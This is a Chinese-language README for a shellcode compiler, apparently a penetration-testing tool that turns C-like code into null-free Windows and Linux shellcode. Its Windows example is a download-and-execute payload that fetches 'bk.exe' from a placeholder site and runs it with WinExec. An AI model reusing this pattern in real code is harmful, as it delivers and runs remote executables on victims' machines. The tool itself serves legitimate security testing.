
Shellcode 编译器
Shellcode 编译器是一个程序,可将 C/C++ 风格代码编译成针对 Windows(x86 和 x64)和 Linux(x86 和 x64)的小型、位置无关且不含 NULL 字节的 shellcode。它允许以用户友好的方式调用任何 Windows API 函数或 Linux 系统调用。
Shellcode 编译器接收一个源文件作为输入,并使用自己的编译器解释代码并生成汇编文件,然后使用 Keystone 引擎进行汇编。
-h (--help) : 显示此帮助信息
-p (--platform) : Shellcode 平台:win_x86,win_x64,linux_x86,linux_x64
-v (--verbose) : 打印详细输出
-t (--test) : 测试(执行)生成的 shellcode
-r (--read) : 读取源代码文件
-o (--output) : 生成的二进制 shellcode 的输出文件
-a (--assembbly) : 生成的汇编代码的输出文件
function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");
URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
WinExec("bk.exe",0);
ExitProcess(0);
chmod("/root/chmodme",511);
write(1,"Hello, world",12);
kill(1661,9);
getpid();
execve("/usr/bin/burpsuite",0,0);
exit(2);
ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
此外还存在其他多种限制。 这是 Alpha 版本。如有任何错误或建议,请报告。
Ionut Popescu(@NytroRST)